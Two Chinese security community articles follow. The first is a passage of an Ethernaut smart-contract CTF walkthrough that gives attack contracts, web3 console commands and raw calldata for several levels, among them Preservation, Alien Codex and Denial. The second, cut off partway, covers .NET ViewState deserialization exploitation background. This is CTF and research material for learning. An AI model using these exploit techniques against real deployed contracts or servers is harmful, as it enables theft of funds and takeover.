require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
##### 合约分析
从上面了解到要想enter需要满足gateOne、gateTwo、gateThree三个修饰器的检查条件，即需要满足以下条件：
1、gateOne ：这个通过部署一个中间恶意合约即可绕过
2、gateTwo ：这里的msg.gas 指的是运行到当前指令还剩余的 gas 量，要能整除 8191。那我们只需要 8191+x ，x 为从开始到运行完
msg.gas 所消耗的 gas。通过查阅资料发现msg.gas在文档里的描述是remaining gas，在Javascript
VM环境下进行Debug可在Step detail 栏中可以看到这个变量，笔者在调试过程中未发现合适的gas值，暂未成功！
3、gateThree() 也比较简单，将 tx.origin 倒数三四字节换成 0000 即可。 bytes8(tx.origin) &
0xFFFFFFFF0000FFFF 即可满足条件。
根据上面的分析给出EXP代码如下(笔者这里没有成功，主要是gateTwo的问题，没有找到合适的gas，而且编译器不同，初始gas值不同都会影响)：
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract Attack {
address instance_address = instance_address_here;
bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;
GatekeeperOne target = GatekeeperOne(instance_address);
function hack() public {
target.call.gas(适当的gas)(bytes4(keccak256("enter(bytes8)")), _gateKey);
}
}
##### 攻击流程
虽然没有成功，但是这里思路是正确的，下面简单给一下流程，首先点击“Get new instance”来获取一个实例：
获取实例地址
之后部署并编译攻击合约，同时更改实例合约的地址：
之后点击"hack"来实施攻击
之后当“await contract.entrant()”非0x000...000时点击“submit instance”来提交示例即可！
#### Gatekeeper Two
##### 闯关要求
和上一题一样，完成三个需求。
##### 合约代码
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
##### 合约分析
第一个条件：我们可以通过部署合约来实现绕过
第二个条件：gateTwo中extcodesize
用来获取指定地址的合约代码大小。这里使用的是内联汇编来获取调用方(caller)的代码大小，一般来说，当caller为合约时，获取的大小为合约字节码大小,caller为账户时，获取的大小为
0 。条件为调用方代码大小为0 ，由于合约在初始化，代码大小为0的。因此，我们需要把攻击合约的调用操作写在 constructor 构造函数中。
第三个条件：这里判断的是msg.sender，所以要在代码里进行实时计算。异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的值。
最后攻击合约如下：
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract attack{
function attack(address param){
GatekeeperTwo a =GatekeeperTwo(param);
bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this)));
a.enter(_gateKey);
}
}
##### 攻击流程
首先，获取一个实例：
之后获取合约地址：
之后在remix中编译部署攻击合约：
之后查看entrant的值：
之后点击“submit instance”来提交示例：
#### Naught Coin
##### 闯关要求
NaughtCoin是一个ERC20代币，你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址，这样你就可以把它们自由地转移吗，让后通过将token余额置为0来完成此级别。
##### 合约代码
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
using SafeMath for uint256;
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
##### 合约分析
从以上代码我们可以看出合约NaughtCoin继承了StandardToken但是没有对父合约做重写，导致利用父合约的函数可以进行及时转账。而子合约NaughtCoin也没有什么问题，那我们还是回过头来看看import的父合约
StandardToken.sol。
其实根据 ERC20
的标准我们也知道，转账有两个函数，一个transfer一个transferFrom，题目中代码只重写了transfer函数，那么重写transferFrom就是一个可利用的点了。直接看看StandardToken.sol代码：
contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
...
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
...
}
跟进ERC20Lib.sol：
library ERC20Lib {
...
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
此处可以直接调用这个transferFrom了。但是transferFrom有一步权限验证，要验证这个msg.sender是否被_from（实际上在这里的情景的就是自己是否给自己授权了），那么我们同时还可以调用approve
给自己授权。 攻击代码如下：
根据以上分析，我们可以构造如下EXP:
await contract.approve(player,toWei(1000000))
await contract.transferFrom(player,contract.address,toWei(1000000))
##### 攻击流程
点击“Get new instance”来获取一个实例：
之后查看当前账户余额
之后使用approve进行授权
然后再通过transferFrom来实施转账
之后查看账户余额：
最后点击“submit instance”来提交该实例：
#### Preservation
##### 闯关条件
此合同使用库存储两个不同时区的两个不同时间，构造函数为每次要存储的库创建两个实例。 而玩家的目标是获取合约的owner权限。
##### 合约代码
pragma solidity ^0.4.23;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
##### 合约分析
以上合约中用到了delegatecall()函数，一般情况下delegatecall用来调用其他合约、库的函数，比如 a 合约中调用 b
合约的函数，执行该函数使用的 storage便是a的。举个例子：
contract A{
uint public x1;
uint public x2;
function funca(address param){
param.delegate(bytes4(keccak256("funcb()")));
}
}
contract B{
uint public y1;
uint public y2;
function funcb(){
y1=1;
y2=2;
}
}
在上述合约中，一旦在a中调用了b的funcb函数，那么对应的a中 x1就会等于y1，x2就会等于 2。
在这个过程中实际b合约的funcb函数把storage里面的slot 1的值更换为了1，把slot 2的值更换为了
2，那么由于delegatecall的原因这里修改的是a的storage，对应就是修改了 x1，x2。
那么这个题就很好办了，我们调用Preservation的setFirstTime函数时候实际通过delegatecall
执行了LibraryContract的setTime函数，修改了slot 1，也就是修改了timeZone1Library变量。
这样，我们第一次调用setFirstTime将timeZone1Library变量修改为我们的恶意合约的地址，第二次调用setFirstTime就可以执行我们的任意代码了。
由此，我们可构建一下EXP：
pragma solidity ^0.4.23;
contract PreservationPoc {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
function setTime(uint _time) public {
owner = address(_time);
}
}
##### 攻击流程
点击“Get new instance”获取一个实例
之后在remix中部署恶意智能合约：
之后在控制台执行以下命令：
await contract.setSecondTime(恶意合约地址)
await contract.setFirstTime(player地址)
之后我们就成为了合约的拥有者
最后点击“submit instance”来提交示例即可：
#### locked
##### 闯关条件
此名称注册器已锁定，将不接受任何注册的新名称。而玩家的目标是解锁此注册器。
##### 合约代码
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
##### 合约分析
通过查看以上代码我们可以发现“unlocked”从一开始就被设置为“false”而之后合约中再没有出现过"unlocked"，那么我们如何来改变"unlocked"的值呢？关于这一个我在之前的智能合约审计系列3中讲过一个“变量覆盖”的专题，里面有相关的描述，这里不再赘述了，总体来说这里的漏洞出现在结构体的重定义导致变量覆盖问题。
在该合约中，下面的三行diam重新定义了结构体，因此会覆盖第一个、第二个存储块，因为我们只需要见_name设置为bytes32(1)就可以将unlocked变为“ture”
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
EXP如下
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
contract attack{
function hack(address param){
Locked a = locked(param);
a.register(bytes32(1),address(msg.sender));
}
}
##### 攻击流程
获取一个新的示例
之后获取合约地址
之后部署攻击合约：
之后见合约的address作为产生传入hack中实施攻击：
之后再次查看合约的"unlocked"的状态值，发现已经发生了变化，改为了"true"
最后提交示例即可：
#### Recovery
##### 闯关条件
合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后，创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。
如果您可以从丢失的合同地址中恢复（或移除）0.5ether，则此级别将完成。
##### 合约代码
pragma solidity ^0.4.23;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
function() public payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address _to) public {
selfdestruct(_to);
}
}
##### 合约分析
由于在链上所有东西都是透明的，因此合约创建时我们直接查看合约就可以查看到新建立的合约的地址。之后如果要回复token可以借助destory函数来实现，可以构建如下EXP:
pragma solidity ^0.4.23;
contract SimpleToken {
// public variables
string public name;
mapping (address => uint) public balances;
// collect ether in return for tokens
function() public payable ;
// allow transfers of tokens
function transfer(address _to, uint _amount) public ;
// clean up after ourselves
function destroy(address _to) public ;
}
contract RecoveryPoc {
SimpleToken target;
constructor(address _addr) public{
target = SimpleToken(_addr);
}
function attack() public{
target.destroy(tx.origin);
}
}
##### 攻击流程
首先获取一个实例
从MetaMask上获取交易细节信息
由此确定新合约的地址：
之后部署攻击合约
之后点击hack实施攻击：
之后查看attack之后的交易细节，发现代币找回
同时发现新合约自动销毁
最后点击"submit instance"提交示例即可：
#### MagicNumber
##### 闯关条件
要解决这个级别，您只需要向etranaut提供一个“Solver”，这是一个响应“whatistMeaningoflife()”的契约，并提供正确的数字。
很容易吧？好。。。有个陷阱。 解算器的代码需要非常小。真的很小。就像怪物真的有点小：最多10个操作码。
提示：也许是时候暂时离开Solidity编译器的舒适性，手工构建这个编译器了。没错：原始EVM字节码。 祝你好运！
即要求输出42(操作码为2A)。
##### 合约代码
pragma solidity ^0.4.24;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
##### 合约分析
对于操作码的执行我们需要用转账函数：
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)})
这里借鉴了一个writeup(<https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2)，里面有详细的描述，读者可以自我借鉴，最后的攻击代码如下：>
var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
web3.eth.sendTransaction({from:player, data:bytecode}, function(err,res){console.log(res)});
await contract.setSolver("0xccb446cbcd073320dfb8487cfcab02aeeb0aeee6");
##### 攻击流程
获取一个实例：
之后在控制台实施攻击
最后点击“submit instance”提交示例：
#### Alien Codex
###### 闯关条件
获取合约的所有权。
##### 合约代码
pragma solidity ^0.4.24;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact(bytes32[] _firstContactMessage) public {
assert(_firstContactMessage.length > 2**200);
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
##### 合约分析
合约开头 import 了 Ownable 合约，同时也引入了一个 owner 变量。
web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});
// 0x00000000000000000000000073048cec9010e92c298b016966bde1cc47299df5
// bool public contact 0x000000000000000000000000
// address public owner 0x73048cec9010e92c298b016966bde1cc47299df5
由于 EVM 存储优化的关系，在 slot [0]中同时存储了contact和owner，需要做的就是将owner变量覆盖为自己。
首先通过 make_contact() 函数，我们可以将contact变量设置为 true，这也是调用其他几个函数的前提。
在make_contact() 函数中，我们需要传入一个长度大于 2^200 的数组。如果直接在 remix 上部署一个合约来传，会发现 gas
消耗爆炸了。明显这是不太现实的，需要绕过。 由于 make_contact() 函数只验证传入数组的长度。了解到 OPCODE
中数组长度是存储在某个slot上的，并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大，但实际上并没有数据的数组，打包成data
发送。
sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器，数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true
之后就是一个经典的 OOB (out of boundary) Attack
首先通过调用 retract()，使得 codex 数组长度下溢。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
// codex.length
// 0x0000000000000000000000000000000000000000000000000000000000000000
contract.retract()
// codex.length--
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
// codex.length
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
而在Solidity中动态数组内变量的存储位计算方法可以概括为：
b[X] == SLOAD(keccak256(slot) + X)
在本题中，数组 codex 的 slot 为 1，同时也是存储数组长度的地方。
>>> import sha3
>>> import binascii
>>> def bytes32(i):
>>> return binascii.unhexlify('%064x'%i)
>>> sha3.keccak_256(bytes32(1)).hexdigest()
'b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6'
>>> 2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
35707666377435648211887908874984608119992236509074197713628505308453184860938
可计算出，codex[35707666377435648211887908874984608119992236509074197713628505308453184860938]
对应的存储位就是 slot 0。 之前提到 slot 0 中同时存储了 contact 和 owner，只需将 owner 替换为 player 地址即可。
await contract.owner()
// "0x73048cec9010e92c298b016966bde1cc47299df5"
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001a61cfd1573fd2207dcb1841cedcb1d5aed4dc155')
// 调用 revise()
await contract.owner()
// "0x676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf"
// Submit instance
##### 攻击流程
获取一个新的实例：
中间流程参考合约分析部分！最后获得owner之后提交示例即可：
#### Denial
##### 闯关要求
造成DOS使得合约的owner在调用withdraw时无法正常提取资产。
##### 合约代码
pragma solidity ^0.4.24;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
##### 合约分析
从合约的代码中我们很容易发现这里存在一个重入漏洞，所以可以通过部署了一个利用重入漏洞的合约，把gas直接消耗光，那么owner
自然收不到钱了，从而造成DOS。
攻击合约如下：
pragma solidity ^0.4.23;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
contract Attack{
address instance_address = instance_address_here;//根据示例来更改该参数
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
target.withdraw();
}
}
##### 攻击流程
获取一个实例
之后查看instance的地址
之后部署攻击合约
之后点击"Hack"实施攻击即可：
最后提交示例即可
#### Shop
该关卡目前已经关闭了——404：
### 总结
智能合约的安全性在开发时需要注重逻辑的设计、函数的调用、底层存储机制等安全问题，而我们在审计过程中也需要多多注意各种潜在的安全风险。
感觉多少有点费劲，上下篇文章每篇文章图片就70——90，心累，心累，，，不过还好是坚持这写完了，在写作过程中深深感悟到————“实践是检验真理的唯一标准”，如果各位读者有兴趣的话不妨自我动手操作一下看看，必定获益匪浅~
### 参考资料
<https://paper.seebug.org/624/>
<https://remix.readthedocs.io/en/latest/>
<http://cw.hubwiz.com/card/c/web3.js-1.0/>
<https://www.jianshu.com/p/d9137e87c9d3>
<https://baike.baidu.com/item/42/16630643?fr=aladdin>
<https://github.com/OpenZeppelin/openzeppelin-contracts>
<https://me.tryblockchain.org/Solidity-abi-abstraction.html>
<https://www.freebuf.com/articles/blockchain-articles/177260.html>
<https://www.freebuf.com/articles/blockchain-articles/179662.html>
<http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/> | 社区文章 |
# .Net 反序列化之 ViewState 利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：HuanGMz@知道创宇404实验室
> .NET 相关漏洞中，ViewState也算是一个常客了。Exchange CVE-2020-0688，SharePoint
> CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞，只是ASP.NET
> 在生成和解析ViewState时使用ObjectStateFormatter
> 进行序列化和反序列化，虽然在序列化后又进行了加密和签名，但是一旦泄露了加密和签名所使用的算法和密钥，我们就可以将ObjectStateFormatter
> 的反序列化payload 伪装成正常的ViewState，并触发ObjectStateFormatter 的反序列化漏洞。
>
> 加密和签名序列化数据所用的算法和密钥存放在web.confg 中，Exchange 0688 是由于所有安装采用相同的默认密钥，而Sharepoitn
> 16952 则是因为泄露web.confg 。
>
> .NET 反序列化神器 ysoserial.net 中有关于ViewState
> 的插件，其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名，触发ObjectStateFormatter
> 反序列化漏洞。但是我们不应该仅仅满足于工具的使用，所以特意分析了ViewState 的加密和签名过程作成此文，把工具用的明明白白的。
>
> 初接触.NET，文中谬误纰漏之处在所难免，如蒙指教不胜感激。
## 1\. 调试.Net FrameWork
### 1.1 .Net 源码
对于刚接触.Net反序列化，甚至刚接触C#的朋友来说，有一个舒适方便的调试环境实在是太重要了。这里就简单介绍一下如何进行.net framework
的底层调试。
.Net Framework
已经被微软[开源](https://referencesource.microsoft.com/)了，你可以在官方网站上下载源码或者直接在线浏览。目前开源的版本包括
.Net 4.5.1 到 4.8。但是要注意，虽然微软开源了.Net
的源码，以及相应的VS项目文件，但是只能用于代码浏览，而无法进行编译。因为缺少重要组件（包括xaml文件和资源文件）。
### 1.2 调试
微软官文档有说明如何使用VS进行.Net源码的调试。其原理大概是通过pdb+源码的方式来进行单步调试。但经过实际尝试，发现并不是所有.net
程序集文件都有完整的pdb文件，其中一部分程序集的pdb是没有源码信息的。也就是说，只有一部分的程序集可以通过vs进行单步调试。
细节参考以下连接：<https://referencesource.microsoft.com/setup.html>
支持源码调试的程序集列表为：<https://referencesource.microsoft.com/indexedpdbs.txt>
在放弃使用vs进行调试后，我发现还可以使用dnspy 进行.net底层调试。dnspy
是一个开源的.Net反编译工具，与经典工具Reflector相比，它不仅可以用于反编译，还可以借助反编译直接进行调试。dnspy
的github链接在[这里](https://github.com/dnSpy/dnSpy)。可以下载源码进行编译，也可以直接下载编译好的版本，不过要注意满足它要求的.net
framework 版本。
**设置环境变量 COMPLUS_ZapDisable=1**
为什么要设置这个环境变量，为了禁用所有NGEN映像（* .ni.dll）的使用。
假如你的windows服务器上安装有IIS服务，并且上面运行一个网站。使用浏览器打开该网站，这会使IIS在后台创建一个工作进程，用于运行该网站。这时我们用
process explore去查看 w3wp.exe 进程加载的dll，你会发现为什么程序集后面都有一个.ni的后缀。System.Web.dll 变为了
System.Web.ni.dll ，并且该dll的描述中还特意写了 “System.Web.dll”。其实这就是在使用.Net的优化版代码。
设置环境变量 COMPLUS_ZapDisable=1
，重启windows（一定要重启，因为重启IIS服务才能应用到我们设置的新环境变量）。仍然用ie打开网站，然后使用Process
explore去查看w3wp.exe，这时你就会发现：网站工作进程加载的程序集变回了我们所熟知的System.Web.dll。
> 注意1：设置环境变量后要重启
>
> 注意2：如果找不到w3wp.exe，使用管理员运行process explore。
**使用dnspy 进行调试**
首先我们用process
explore检查`w3wp.exe`加载的程序集所在的位置。因为你的系统上可能安装有多个版本的.Net或者是不同位数的.Net。如果你在dnsPy
中打开了错误的程序集，你在上面下断点的时候会提示你：无法中断到该断点，因为没有加载该模块。
选择32位或者64位的
dnspy(与被调试进程匹配)，以管理员权限启动。随便找一个程序集，比如System.Web.dll，点开后我们看他第一行中所写的路径是否与目标进程加载的程序集相同：
如果不相同，左上方 文件->全部关闭，然后 文件->打开列表，从中选择一个版本合适的 .Net 。
然后上方
调试->附加到进程，选择`w3wp.exe`，如果有多个进程，我们可以通过进程号来确定。那么如何判断哪一个进程是我们需要的呢？方法有很多种，你可以通过
process explore 查看`w3wp.exe`的启动命令，看哪个是运行目标网站的工作进程。又或者，以管理员权限启动cmd，进入
C:\Windows\System32\inetsrv，然后运行appcmd list wp。
我们可以看到进程号和对应的网站集名称。
然后就是给目标函数下断点，刷新页面，会中断到断点。
## 2\. ViewState基础知识
在我们尝试利用ViewState反序列化之前，我们需要一些了解相关的知识。
> ASP.NET是由微软在.NET
> Framework框架中所提供，开发Web应用程序的类别库，封装在System.Web.dll文件中，显露出System.Web名字空间，并提供ASP.NET网页处理、扩展以及HTTP通道的应用程序与通信处理等工作，以及Web
> Service的基础架构。
也就是说，ASP.NET 是.NET Framework 框架提供的一个Web库，而ViewState则是ASP.NET所提供的一个极具特点的功能。
**出现ViewState的原因** ：
HTTP模型是无状态的，这意味着，每当客户端向服务端发起一个获取页面的请求时，都会导致服务端创建一个新的page类的实例，并且一个往返之后，这个page实例会被立刻销毁。假如服务端在处理第n+1次请求时，想使用第n次传给服务器的值进行计算，而这时第n次请求所对应的page实例早已被销毁，要去哪里找上一次传给服务器的值呢？为了满足这种需求，就出现了多种状态管理技术，而VewState正是ASP.NET
所采用的状态管理技术之一。
**ViewState是什么样的？**
要了解ViewState，我们要先知道什么叫做服务器控件。
> ASP.NET 网页在微软的官方名称中，称为 Web Form，除了是要和Windows
> Forms作分别以外，同时也明白的刻划出了它的主要功能：“让开发人员能够像开发 Windows Forms 一样的方法来发展 Web 网页”。因此
> ASP.NET Page 所要提供的功能就需要类似 Windows Forms 的窗体，每个 Web Form 都要有一个< form
> runat=”server” >< /form >区块，所有的 ASP.NET 服务器控件都要放在这个区域中，这样才可以让 ViewState
> 等服务器控制能够顺畅的运作。
无论是HTML服务器控件、Web服务器控件 还是 Validation服务器控件，只要是ASP.NET 的服务器控件，都要放在< form
runat=”server” >< /form >的区块中，其中的属性 runat=”server” 表明了该表单应该在服务端进行处理。
ViewState原始状态是一个 字典类型。在响应一个页面时，ASP.NET 会把所有控件的状态序列化为一个字符串，然后作为 hidden input 的值
插入到页面中返还给客户端。当客户端再次请求时，该hidden input
就会将ViewState传给服务端，服务端对ViewState进行反序列化，获得属性，并赋给控件对应的值。
**ViewState的安全性:**
在2010年的时候，微软曾在《MSDN杂志》上发过一篇文章，讨论ViewState的安全性以及一些防御措施。文章中认为ViewState主要面临两个威胁：信息泄露和篡改。
信息泄露威胁：
原始的ViewState仅仅是用base64编码了序列化后的binary数据，未使用任何类型的密码学算法进行加密，可以使用LosFormatter（现在已经被ObjectStateFormatter替代）轻松解码和反序列化。
LosFormatter formatter = new LosFormatter();
object viewstateObj = formatter.Deserialize("/wEPDwULLTE2MTY2ODcyMjkPFgIeCHBhc3N3b3JkBQlzd29yZGZpc2hkZA==");
反序列化的结果实际上是一组System.Web.UI.Pair对象。
为了保证ViewState不会发生信息泄露，ASP.NEt 2.0 使用 ViewStateEncryptionMode属性
来启用ViewState的加密，该属性可以通过页面指令或在应用程序的web.config 文件中启用。
<%@ Page ViewStateEncryptionMode="Always" %>
ViewStateEncryptionMode 可选值有三个：Always、Never、Auto
篡改威胁：
加密不能防止篡改
，即使使用加密数据，攻击者仍然有可能翻转加密书中的位。所以要使用数据完整性技术来减轻篡改威胁，即使用哈希算法来为消息创建身份验证代码（MAC)。可以在web.config
中通过EvableViewStateMac来启用数据校验功能。
<%@ Page EnableViewStateMac="true" %>
注意：从.NET 4.5.2 开始，强制启用ViewStateMac 功能，也就是说即使你将
EnableViewStateMac设置为false，也不能禁止ViewState的校验。安全公告[KB2905247](https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247?redirectedfrom=MSDN)(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET
设置为忽略EbableViewStateMac设置。
启用ViewStateMac后的大致步骤：
> (1)页面和所有参与控件的状态被收集到状态图对象中。
>
> (2)状态图被序列化为二进制格式
>
> a. 密钥值将附加到序列化的字节数组中。
> b. 为新的序列化字节数组计算一个密码哈希。
> c. 哈希将附加到序列化字节数组的末尾。
>
> (3) 序列化的字节数组被编码为base-64字符串。
